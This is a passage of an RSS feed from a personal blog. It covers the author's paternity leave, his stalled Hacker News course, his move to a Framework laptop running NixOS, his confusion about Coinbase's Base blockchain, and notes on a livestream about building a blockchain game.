&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Enjoyed family time.&lt;/li>
&lt;li>Worried about whether I was taking too much family time.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>My fears about taking too much time off from work are mostly irrational.&lt;/li>
&lt;li>Nix is a good tool for creating fuzz testing workflows.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Enjoy family time.&lt;/li>
&lt;li>Publish my tutorial on fuzz testing with Nix.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;ul>
&lt;li>What&amp;rsquo;s the modern equivalent of AFL++? Is it &lt;a href="https://github.com/google/honggfuzz">honggfuzz&lt;/a>?
&lt;ul>
&lt;li>If you work in infosec, let me know what the new, cool fuzz testing tool is.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Paternity Leave: Month 1</title><link>https://mtlynch.io/retrospectives/2024/09/</link><pubDate>Wed, 11 Sep 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/09/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>My wife and I became parents.&lt;/li>
&lt;li>I realized that caring for a newborn takes more time than I expected.&lt;/li>
&lt;li>I&amp;rsquo;m unsure what to do with my partially-finished Hacker News course.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="finish-recording-my-course">Finish recording my course&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Baby arrived early, and I only recorded 20% of the material.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: N/A&lt;/li>
&lt;/ul>
&lt;p>Recording the course took longer than I thought, and the baby arrived a few weeks earlier than we expected, so I didn&amp;rsquo;t get to all the material.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>My wife and I became parents.&lt;/li>
&lt;li>I realized that caring for a newborn takes more time than I expected.&lt;/li>
&lt;li>I&amp;rsquo;m unsure what to do with my partially-finished Hacker News course.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="finish-recording-my-course">Finish recording my course&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Baby arrived early, and I only recorded 20% of the material.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: N/A&lt;/li>
&lt;/ul>
&lt;p>Recording the course took longer than I thought, and the baby arrived a few weeks earlier than we expected, so I didn&amp;rsquo;t get to all the material.&lt;/p>
&lt;h3 id="begin-selling-my-course">Begin selling my course&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Baby arrived early, so I didn&amp;rsquo;t get to this.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: N/A&lt;/li>
&lt;/ul>
&lt;p>Same as above. I didn&amp;rsquo;t want to do a pre-order because I was afraid of getting into a situation where I&amp;rsquo;m unsure when I could deliver the finished version.&lt;/p>
&lt;h2 id="we-had-a-baby">We had a baby&lt;/h2>
&lt;p>In August, my wife and I became parents with the birth of our son.&lt;/p>
&lt;p>We&amp;rsquo;re trying to be protective of our son&amp;rsquo;s privacy, so I took a photo of the three of us shortly after the birth and ran it through a hand-tuned Fast Fourier transform to remove identifying biometric details:&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 450px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/09/baby-photo.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 450px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/09/baby-photo_hu_ffcf328da4ad5524.webp 300w, https://mtlynch.io/retrospectives/2024/09/baby-photo_hu_cdb1a6843c2293ab.webp 600w, https://mtlynch.io/retrospectives/2024/09/baby-photo.webp 749w'
 src="https://mtlynch.io/retrospectives/2024/09/baby-photo.webp" alt="Stick figure drawing of my family" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Photo of me, my wife, and our child soon after birth, post-processed with a privacy-preserving photo filter&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="caring-for-a-newborn-takes-longer-than-two-hours-per-day">Caring for a newborn takes longer than two hours per day&lt;/h2>
&lt;p>In preparing for the baby&amp;rsquo;s arrival, I planned to take two to three months of paternity leave, but I didn&amp;rsquo;t know what that would look like. My top priority would be caring for my son and wife, but I couldn&amp;rsquo;t understand how that would occupy entire days.&lt;/p>
&lt;p>I knew that newborns needed breastfeeding and diaper changes, but how long could that take? Three, maybe four hours per day, split between two parents?&lt;/p>
&lt;p>As you may have guessed, caring for a newborn isn&amp;rsquo;t like my normal day minus two hours. So far, it&amp;rsquo;s like a normal day minus 6-12 waking hours.&lt;/p>
&lt;p>If you&amp;rsquo;re an expectant parent wondering like I did, here&amp;rsquo;s my explanation for where the time goes.&lt;/p>
&lt;p>The most obvious change in time is sleep. Our baby sleeps well for a newborn, but that means that on a good night, he&amp;rsquo;ll do four sessions of sleep, each 90-180 minutes long.&lt;/p>
&lt;p>Before the baby, I thought, &amp;ldquo;Oh, sleeping in two-hour chunks through the night sounds fine.&amp;rdquo; But I had a hidden assumption that it would be two hours of sleep, five minutes of diaper change, and then back to sleep. In reality, nighttime diaper changes take anywhere from five minutes to an hour, depending on how chaotic things get and how much soothing our son needs to get back to sleep.&lt;/p>
&lt;p>So, we get 5-7 hours of sleep per night, but it takes 10-12 hours of real-world time to achieve that. We usually need to nap during the day, too, so that&amp;rsquo;s just even fewer waking hours. And even after sleeping and napping, we&amp;rsquo;re still sleepy, so we&amp;rsquo;re doing everything else more slowly than normal.&lt;/p>
&lt;p>The other unexpected impact on time is the feeling that our household is suddenly short one player. Before the birth, I knew I&amp;rsquo;d have to take on most of the household chores that my wife and I usually share. But at the time, that didn&amp;rsquo;t seem like such a big deal. I can do all of the laundry and dishes and prepare two meals instead of one.&lt;/p>
&lt;p>What I didn&amp;rsquo;t anticipate was that while my wife recovered from the birth and took on the new responsibility of breastfeeding for hours each day, she&amp;rsquo;d need support with things that we normally wouldn&amp;rsquo;t even consider &amp;ldquo;chores,&amp;rdquo; like picking up heavy jars, grabbing things from floor-level shelves, or just having a fresh glass of water next to her as she nurses.&lt;/p>
&lt;p>So, I&amp;rsquo;m glad that I kept my schedule open so that I wouldn&amp;rsquo;t have any work responsibilities during this time. And each week, we find our rhythm a bit more and gain more free time so it doesn&amp;rsquo;t feel like we&amp;rsquo;re scrambling 24/7 to attend to our son&amp;rsquo;s next need.&lt;/p>
&lt;h2 id="what-should-i-do-with-my-hacker-news-course">What should I do with my Hacker News course?&lt;/h2>
&lt;p>Before my son&amp;rsquo;s birth, I taught &lt;a href="https://hitthefrontpage.com">my Hacker News course&lt;/a> live each week to a pilot group of students. The students liked the material on writing and finding places to share your blog posts, but they &lt;a href="https://mtlynch.io/retrospectives/2024/07/#should-i-pivot-away-from-hacker-news">didn&amp;rsquo;t care that much about Hacker News in particular&lt;/a>.&lt;/p>
&lt;p>At the time, I felt like it was a signal that I should focus less on Hacker News, but I didn&amp;rsquo;t have time to overhaul the course. I wanted to record all the material before my son&amp;rsquo;s birth, and I knew I wouldn&amp;rsquo;t have time to make such a large change and complete everything in time.&lt;/p>
&lt;p>But my son arrived a bit early, so I&amp;rsquo;d only recorded 20% of the material for the course before he was born. Now, I&amp;rsquo;m wondering whether to keep going with the course or embrace that overhaul.&lt;/p>
&lt;p>One other red flag I&amp;rsquo;ve noticed is that I put self-ads to my course all over my blog, and they&amp;rsquo;re not attracting any interest from my blog readers.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/09/self-ads.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/09/self-ads_hu_fc319c87dcb321bd.webp 300w, https://mtlynch.io/retrospectives/2024/09/self-ads_hu_bc94eaf113a2f546.webp 600w, https://mtlynch.io/retrospectives/2024/09/self-ads_hu_844c7717cdf8525b.webp 800w, https://mtlynch.io/retrospectives/2024/09/self-ads_hu_c165b47b6d1d87df.webp 1200w, https://mtlynch.io/retrospectives/2024/09/self-ads.webp 1701w'
 src="https://mtlynch.io/retrospectives/2024/09/self-ads.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I added self-ads from this blog to my blogging course.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I get about 500 visitors per day on this blog, and the ads have brought no significant change in visitors to the course website.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/09/no-new-visitors.webp">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/09/no-new-visitors_hu_65c65eea7aa4932.webp 300w, https://mtlynch.io/retrospectives/2024/09/no-new-visitors_hu_c6cda3b8250e6de.webp 600w, https://mtlynch.io/retrospectives/2024/09/no-new-visitors_hu_88634b245a5b033e.webp 800w, https://mtlynch.io/retrospectives/2024/09/no-new-visitors.webp 1088w'
 src="https://mtlynch.io/retrospectives/2024/09/no-new-visitors.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I started running self-ads on mtlynch.io for my blogging course, but they had no noticeable impact on visits.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I have other ideas for marketing the course, but I&amp;rsquo;d like there to be a large overlap between the kind of people who read my blog and the kind of people who would be interested in taking one of my courses.&lt;/p>
&lt;p>I found it hard to record videos before, but now that I have a baby, it&amp;rsquo;s even harder. The thing that&amp;rsquo;s feeling more appealing is to try circling back to &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Longtime readers of this blog may recognize &lt;em>Refactoring English&lt;/em> as my oft-promised, never-delivered book about how developers can improve their writing. I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#publish-six-blog-posts-and-one-book">promised to write in 2021&lt;/a>, but then my business swallowed all of my time, and the book has been sitting on hold ever since.&lt;/p>
&lt;p>My plan next month is to change my blog self-ad to be about &lt;em>Refactoring English&lt;/em> and see if more people visit.&lt;/p>
&lt;p>For now, here&amp;rsquo;s an excerpt from &lt;a href="https://hitthefrontpage.com">my Hacker News course&lt;/a> that I recorded before my son was born. It&amp;rsquo;s about why I invest more into each blog post than most other bloggers do.&lt;/p>
&lt;div style="position:relative;padding-top:56.25%;">&lt;iframe src="https://iframe.mediadelivery.net/embed/273218/f04d4f68-e5da-4886-a0f6-a3bedc62c399?autoplay=true&amp;loop=false&amp;muted=false&amp;preload=true&amp;responsive=true" loading="lazy" style="border:0;position:absolute;top:0;height:100%;width:100%;" allow="accelerometer;gyroscope;autoplay;encrypted-media;picture-in-picture;" allowfullscreen="true">&lt;/iframe>&lt;/div>
&lt;h2 id="making-nixos--framework-13-amd-7040-my-daily-driver">Making NixOS + Framework 13 AMD 7040 my daily driver&lt;/h2>
&lt;p>I&amp;rsquo;ve exclusively used Microsoft Surface tablets for my laptop needs for the past 10+ years, but I&amp;rsquo;ve finally gotten fed up enough with the direction Windows is taking that I&amp;rsquo;m preparing my complete exit from the Windows ecosystem.&lt;/p>
&lt;p>I searched for a laptop that treated Linux as a first-class citizen, and I settled on &lt;a href="https://frame.work">Framework&lt;/a>.&lt;/p>
&lt;p>I initially resisted Framework because the idea of building my own laptop sounded tedious, which is strange because I enjoy building desktops and servers. But I don&amp;rsquo;t enjoy working in tiny spaces or with tiny tools, and building a laptop seemed like it would be a lot of that.&lt;/p>
&lt;p>The experience of building my Framework laptop was surprisingly the best unboxing experience I&amp;rsquo;ve ever had with anything.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/09/framework-unboxing-1.webp">
 &lt;img
 
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/09/framework-unboxing-1_hu_38692b9d88d5a52.webp 300w, https://mtlynch.io/retrospectives/2024/09/framework-unboxing-1_hu_c98658ab613fc6d7.webp 600w, https://mtlynch.io/retrospectives/2024/09/framework-unboxing-1_hu_2282647533f66b8e.webp 800w, https://mtlynch.io/retrospectives/2024/09/framework-unboxing-1_hu_52c64f0ef639f0c5.webp 1200w, https://mtlynch.io/retrospectives/2024/09/framework-unboxing-1.webp 1600w'
 src="https://mtlynch.io/retrospectives/2024/09/framework-unboxing-1.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 210px">



 &lt;a href="https://mtlynch.io/retrospectives/2024/09/framework-unboxing-2.webp">
 &lt;img
 
 sizes="(min-width: 768px) 210px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2024/09/framework-unboxing-2_hu_529e5019acd25c01.webp 300w, https://mtlynch.io/retrospectives/2024/09/framework-unboxing-2_hu_b8d4e83d89b60fe1.webp 600w, https://mtlynch.io/retrospectives/2024/09/framework-unboxing-2_hu_bc255effc60384c6.webp 800w, https://mtlynch.io/retrospectives/2024/09/framework-unboxing-2_hu_e65556ac26b7dedb.webp 1200w, https://mtlynch.io/retrospectives/2024/09/framework-unboxing-2.webp 1201w'
 src="https://mtlynch.io/retrospectives/2024/09/framework-unboxing-2.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The Framework 13 surprised me by delivering one of the best unboxing experiences I&amp;rsquo;ve had with any technology.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Assembling my Framework was incredibly easy. I was expecting it to be like building a desktop from scratch where you&amp;rsquo;re assembling the chassis, the motherboard, etc., but most of the Framework is actually pre-assembled. The user portion of the assembly only took me 30 minutes, and I was going very slowly.&lt;/p>
&lt;p>Framework&amp;rsquo;s &lt;a href="https://guides.frame.work/Guide/Framework+Laptop+13+(13th+Gen+Intel+Core)+DIY+Edition+Quick+Start+Guide/168">assembly instructions&lt;/a> are outstanding. I definitely experienced an &amp;ldquo;&lt;a href="https://en.wikipedia.org/wiki/IKEA_effect">IKEA effect&amp;rdquo;&lt;/a> where I feel more satisfied with my laptop from having assembled it myself.&lt;/p>
&lt;p>I installed NixOS on my Framework, which has been satisfying but challenging.&lt;/p>
&lt;p>In NixOS, all configuration happens through plaintext files. This is amazing when I want to install a program, and all I have to do is add a line to a file and run &lt;code>nixos rebuild&lt;/code>. It&amp;rsquo;s less amazing when I just want to make the system clock display in AM/PM instead of 24-hour format, and I can&amp;rsquo;t find the magic incantation to make that happen via NixOS config files.&lt;/p>
&lt;p>At this point, I like being in NixOS more than I like being in Windows, and I&amp;rsquo;ve been primarily a Windows user since Windows 3.1.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Welcomed the birth of my son.&lt;/li>
&lt;li>Recorded 10 chapters of my course and edited 9 of them.&lt;/li>
&lt;li>Configured my Framework 13 laptop to be usable as a daily driver with NixOS.&lt;/li>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/noah-bragg-stokefire-1/">notes about a blockchain project&lt;/a> and &lt;a href="https://mtlynch.io/notes/im-still-confused-about-base/">why I&amp;rsquo;m confused about that particular blockchain&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Caring for a newborn takes a long time.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Enjoy family time.&lt;/li>
&lt;/ul>
&lt;h3 id="requests-for-help">Requests for help&lt;/h3>
&lt;p>There are a few NixOS quests I haven&amp;rsquo;t yet been able to complete. If you know how to complete these, let me know:&lt;/p>
&lt;ul>
&lt;li>TPM+PIN unlock: There are a lot of tutorials for TPM-only unlock, but I&amp;rsquo;d like to protect the unlock process with a TPM PIN, which is how I run Windows laptops with BitLocker.&lt;/li>
&lt;li>Stop Gnome from asking if I have a headset: There&amp;rsquo;s a &lt;a href="https://gitlab.gnome.org/GNOME/libgnome-volume-control/-/issues/14">longstanding bug&lt;/a> in Gnome that it can&amp;rsquo;t distinguish between headphones or a headset, so it asks every time. I&amp;rsquo;d like to find the right NixOS incantation to tell it to assume headphones.&lt;/li>
&lt;li>&lt;del>Configure Syncthing remote folders through NixOS&lt;/del> (done: see comments below): The &lt;a href="https://wiki.nixos.org/wiki/Syncthing">NixOS wiki for Syncthing&lt;/a> is pretty good, but one thing I can&amp;rsquo;t figure out is how to programmatically accept folders from peer devices. I can do it through the web GUI, but if I ever wipe the system, I&amp;rsquo;d have to re-do this step manually, which feels very un-Nix.&lt;/li>
&lt;/ul></content:encoded></item><item><title>I'm Still Confused About Base</title><link>https://mtlynch.io/notes/im-still-confused-about-base/</link><pubDate>Sat, 07 Sep 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/im-still-confused-about-base/</guid><description>&lt;p>A year ago, I listened to &lt;a href="https://www.intothebytecode.com/jesse-pollak/">an interview with Jesse Pollak on an episode of &lt;em>Into the Bytecode&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Jesse works for Coinbase, and he noticed that lots of developers building apps on top of Ethereum were solving the same problems over and over again. He started a project at Coinbase to create a layer on top of Etherum called Base. Base would get Ethereum developers up and running faster because they could use shared solutions to these common problems.&lt;/p></description><content:encoded>&lt;p>A year ago, I listened to &lt;a href="https://www.intothebytecode.com/jesse-pollak/">an interview with Jesse Pollak on an episode of &lt;em>Into the Bytecode&lt;/em>&lt;/a>.&lt;/p>
&lt;p>Jesse works for Coinbase, and he noticed that lots of developers building apps on top of Ethereum were solving the same problems over and over again. He started a project at Coinbase to create a layer on top of Etherum called Base. Base would get Ethereum developers up and running faster because they could use shared solutions to these common problems.&lt;/p>
&lt;p>Jesse also hoped that Base would make Ethereum development more accessible to a wider array of developers by lowering the barrier to entry. His goal was to bring a billion users on-chain (i.e., interacting with the Ethereum blockchain in some way).&lt;/p>
&lt;h2 id="base-sounds-great-in-theory">Base sounds great, in theory&lt;/h2>
&lt;p>Jesse&amp;rsquo;s ideas resonated strongly with me. I felt like I was exactly Base&amp;rsquo;s target demographic, as I&amp;rsquo;ve never done Ethereum development, but I&amp;rsquo;ve worked with other cryptocurrencies and was interested in Ethereum&amp;rsquo;s growing ecosystem.&lt;/p>
&lt;p>But then I visited &lt;a href="https://base.org">the Base website&lt;/a> and basically hit a wall. It was filled with crypto insider jargon like this:&lt;/p>
&lt;blockquote>
&lt;p>Base is built as an Ethereum L2, with the security, stability, and scalability you need to power your dapps. Confidently deploy any EVM codebase and onramp your users and assets from Ethereum L1, Coinbase, and other interoperable chains.&lt;/p>&lt;/blockquote>
&lt;p>I pushed on, looking for some explanation of how Base achieves all the things that Jesse was talking about, but the Base documentation seemed to be mostly tutorials for general-purpose Ethereum development. I couldn&amp;rsquo;t understand why someone would develop on Base as opposed to Ethereum.&lt;/p>
&lt;p>I&amp;rsquo;ve kept checking the Base website every few months, and I&amp;rsquo;ve interacted with Jesse a few times on Twitter. Every time I say that I don&amp;rsquo;t understand Base, he points me to the docs.&lt;/p>
&lt;h2 id="me-navigating-the-base-documentation-today">Me navigating the Base documentation today&lt;/h2>
&lt;p>I wrote up some notes this week about &lt;a href="https://mtlynch.io/notes/noah-bragg-stokefire-1/">what I learned from watching Noah Bragg&amp;rsquo;s livestream&lt;/a> about build a new game on top of Base.&lt;/p>
&lt;p>My write-up &lt;a href="https://twitter.com/jessepollak/status/1832226332639686680">caught Jesse Pollak&amp;rsquo;s attention&lt;/a>, and he asked again where the disconnect is for me in the Base documentation, so I recorded a short video to explain what obstacles I see in learning about Base as a new developer:&lt;/p>
&lt;div style="position:relative;padding-top:56.25%;">&lt;iframe src="https://iframe.mediadelivery.net/embed/304035/49e70f23-8074-404e-8adb-440a922996f6?autoplay=false&amp;loop=false&amp;muted=false&amp;preload=true&amp;responsive=true" loading="lazy" style="border:0;position:absolute;top:0;height:100%;width:100%;" allow="accelerometer;gyroscope;autoplay;encrypted-media;picture-in-picture;" allowfullscreen="true">&lt;/iframe>&lt;/div>
&lt;p>This video is also on &lt;a href="https://youtu.be/5CieQkjcgZg?feature=shared">YouTube&lt;/a>.&lt;/p>
&lt;p>If you don&amp;rsquo;t feel like watching the whole video, my key points are:&lt;/p>
&lt;ul>
&lt;li>The language on the Base website is very jargony and alienates potential developers who aren&amp;rsquo;t already familiar with Ethereum concepts.&lt;/li>
&lt;li>The Base Learn site is organized in a way where you have to do a lot of boring toil (learning concepts, installing tools) before you can do anything fun with Base technology.
&lt;ul>
&lt;li>I&amp;rsquo;d love to see a simple &amp;ldquo;Hello, World!&amp;rdquo; tutorial that lets the reader do something neat with Base with as few pre-requisites as possible.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>The tutorials / lessons on Base Learn are tightly coupled, so the reader can&amp;rsquo;t pick their tutorials a la carte because the site assumes the reader has completed every tutorial before it.
&lt;ul>
&lt;li>e.g., the Base Learn &amp;ldquo;Hello World&amp;rdquo; tutorial assumes you&amp;rsquo;ve installed Node.js and Remix from previous tutorials.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I think &lt;a href="https://gobyexample.com/">&amp;ldquo;Go by Example&amp;rdquo;&lt;/a> is an excellent example of self-contained tutorials that effectively teach the reader about a new technology.&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-understand-about-base">What I understand about Base&lt;/h2>
&lt;ul>
&lt;li>Base is a layer on top of Ethereum.&lt;/li>
&lt;li>Base is a network, not a coin or token.
&lt;ul>
&lt;li>You can&amp;rsquo;t buy 1 Base the way you could buy 1 Bitcoin or 1 Ethereum.&lt;/li>
&lt;li>Instead, you can transmit other coins and tokens on the Base network (e.g., you can send me 100 USDC via Base just like how you might send 100 USDC via the Ethereum network).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Base has low transaction fees.
&lt;ul>
&lt;li>Currently, transaction fees on Base are about US$0.01 per transaction, whereas on Ethereum, they&amp;rsquo;re just under US$1.00.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Coinbase is currently driving Base, but the goal is for Base to work independently of Coinbase&amp;rsquo;s involvement.
&lt;ul>
&lt;li>Because of Coinbase&amp;rsquo;s popularity with casual crypto users, there&amp;rsquo;s potential for a large population of crypto users to begin performing transactions using Base.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-i-dont-understand-about-base">What I don&amp;rsquo;t understand about Base&lt;/h2>
&lt;ul>
&lt;li>Is Base just a drop-in replacement for Ethereum or is there something more?
&lt;ul>
&lt;li>To develop on Base, do you essentially write all the same code you&amp;rsquo;d write for Ethereum but just select the Base blockchain at some point?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>When Jesse talked about how Base was supposed to solve common problems from Ethereum development, how does it do that?&lt;/li>
&lt;li>Am I the target audience for Base? Or is it designed for people who are already comfortable developing with Ethereum?&lt;/li>
&lt;li>All the tutorials and examples I can find on Base&amp;rsquo;s website use heavy tech stacks with Typescript, Next.js, React, and friends. Are those necessary for Base development, or is Coinbase just using those technologies to court frontend developers?
&lt;ul>
&lt;li>Jesse has pointed me to &lt;a href="https://github.com/coinbase/onchainkit">OnchainKit&lt;/a>, but learning React and Typescript as a pre-requisite for learning Base is very unappealing.&lt;/li>
&lt;li>Is there a version of onchain development where I just write some code in a text editor and deploy it with a command-line tool?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Noah Bragg's First Stoke Fire Livestream</title><link>https://mtlynch.io/notes/noah-bragg-stokefire-1/</link><pubDate>Wed, 04 Sep 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/noah-bragg-stokefire-1/</guid><description>&lt;p>I&amp;rsquo;ve been interested in Ethereum the past year, especially the &lt;a href="https://www.base.org/">Base&lt;/a> ecosystem. The problem is that after hours of reading about Base, I still don&amp;rsquo;t get what Base is.&lt;/p>
&lt;p>Every few months, I check back in on the Base website&amp;rsquo;s developer section to see if there&amp;rsquo;s a path to building on Base for a beginner, and the path seems to be &amp;ldquo;here are some disparate tutorials for very specific things, and if you have questions, come ask us on Discord.&amp;rdquo;&lt;/p></description><content:encoded>&lt;p>I&amp;rsquo;ve been interested in Ethereum the past year, especially the &lt;a href="https://www.base.org/">Base&lt;/a> ecosystem. The problem is that after hours of reading about Base, I still don&amp;rsquo;t get what Base is.&lt;/p>
&lt;p>Every few months, I check back in on the Base website&amp;rsquo;s developer section to see if there&amp;rsquo;s a path to building on Base for a beginner, and the path seems to be &amp;ldquo;here are some disparate tutorials for very specific things, and if you have questions, come ask us on Discord.&amp;rdquo;&lt;/p>
&lt;p>So, I was excited to see that &lt;a href="https://noahbragg.com/">Noah Bragg&lt;/a>, an indie founder I follow on Twitter, has started livestreaming his process of building a simple game on top of the Base ecosystem.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/notes/noah-bragg-stokefire-1/noah.png">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/notes/noah-bragg-stokefire-1/noah_hu_476b74882f5ed7c6.png 300w, https://mtlynch.io/notes/noah-bragg-stokefire-1/noah_hu_14d6126e15d05b41.png 600w, https://mtlynch.io/notes/noah-bragg-stokefire-1/noah_hu_ea224cc7ad162f22.png 800w, https://mtlynch.io/notes/noah-bragg-stokefire-1/noah_hu_143db45db043b29b.png 1200w, https://mtlynch.io/notes/noah-bragg-stokefire-1/noah.png 1280w'
 src="https://mtlynch.io/notes/noah-bragg-stokefire-1/noah.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Indie founder &lt;a href="https://noahbragg.com/">Noah Bragg&lt;/a> is livestreaming the process of building a game on top of the Ethereum blockchain.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I watched &lt;a href="https://www.youtube.com/watch?v=iwYNWwHg_tY">Noah&amp;rsquo;s first stream&lt;/a>, and I&amp;rsquo;ve shared my takeaways below.&lt;/p>
&lt;h2 id="the-game-stoke-fire">The game: Stoke Fire&lt;/h2>
&lt;ul>
&lt;li>Stoke Fire is a resource management game where you chop wood in your village to stoke an ongoing fire to keep the village warm.

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 &lt;div class="img" style="max-width: 350px">
 
 
 
 &lt;a href="https://mtlynch.io/notes/noah-bragg-stokefire-1/screenshot.webp">
 &lt;img
 
 sizes="(min-width: 768px) 350px, 98vw"
 srcset='https://mtlynch.io/notes/noah-bragg-stokefire-1/screenshot_hu_5cc8d75ef6e6f11f.webp 300w, https://mtlynch.io/notes/noah-bragg-stokefire-1/screenshot.webp 317w'
 src="https://mtlynch.io/notes/noah-bragg-stokefire-1/screenshot.webp" alt="" loading="lazy"/>
 &lt;/a>
 
 
 
 &lt;/div>
 
&lt;/li>
&lt;li>Inspirations
&lt;ul>
&lt;li>Age of Empires II, which Noah played as a kid.&lt;/li>
&lt;li>&lt;a href="https://adarkroom.doublespeakgames.com/">A Dark Room&lt;/a>, a text-based web game.&lt;/li>
&lt;li>Manor Lords, a total war simulation built by a solo dev over the past six years.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Game will be free to play to encourage participation.&lt;/li>
&lt;li>Game will save state in NFTs to make it easier to transfer between wallets, but Noah doesn&amp;rsquo;t anticipate people trading their game state NFTs the way they do with art NFTs.&lt;/li>
&lt;li>He&amp;rsquo;s building on the Base blockchain because he expects consumers to be there due to Coinbase&amp;rsquo;s investment.&lt;/li>
&lt;/ul>
&lt;h3 id="early-access">Early access&lt;/h3>
&lt;ul>
&lt;li>Early access to Stoke Fire is available via Noah&amp;rsquo;s &lt;a href="https://www.hypersub.xyz/s/i-must-build-qytohm9l69s">I Must Build&lt;/a> subscription on &lt;a href="https://hypersub.xyz">Hypersub&lt;/a>.
&lt;ul>
&lt;li>Hypersub is like Patreon for on-chain.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-happened-on-the-stream">What happened on the stream&lt;/h2>
&lt;ul>
&lt;li>Noah added support in the game for using wood to build huts.&lt;/li>
&lt;li>He started to implement functionality to attract villagers based on what resources are available in the village, but he ultimately paused work midway through because he was mentally exhausted.&lt;/li>
&lt;/ul>
&lt;h2 id="solidity">Solidity&lt;/h2>
&lt;ul>
&lt;li>Noah is using &lt;a href="https://soliditylang.org/">Solidity&lt;/a> for smart contract development.
&lt;ul>
&lt;li>He&amp;rsquo;s heard of &lt;a href="https://docs.vyperlang.org/">Vyper&lt;/a>. He hasn&amp;rsquo;t used it because the ecosystem around Solidity is so much more mature than anything else.&lt;/li>
&lt;li>He&amp;rsquo;s never heard of &lt;a href="https://docs.huff.sh/">Huff&lt;/a>.&lt;/li>
&lt;/ul>
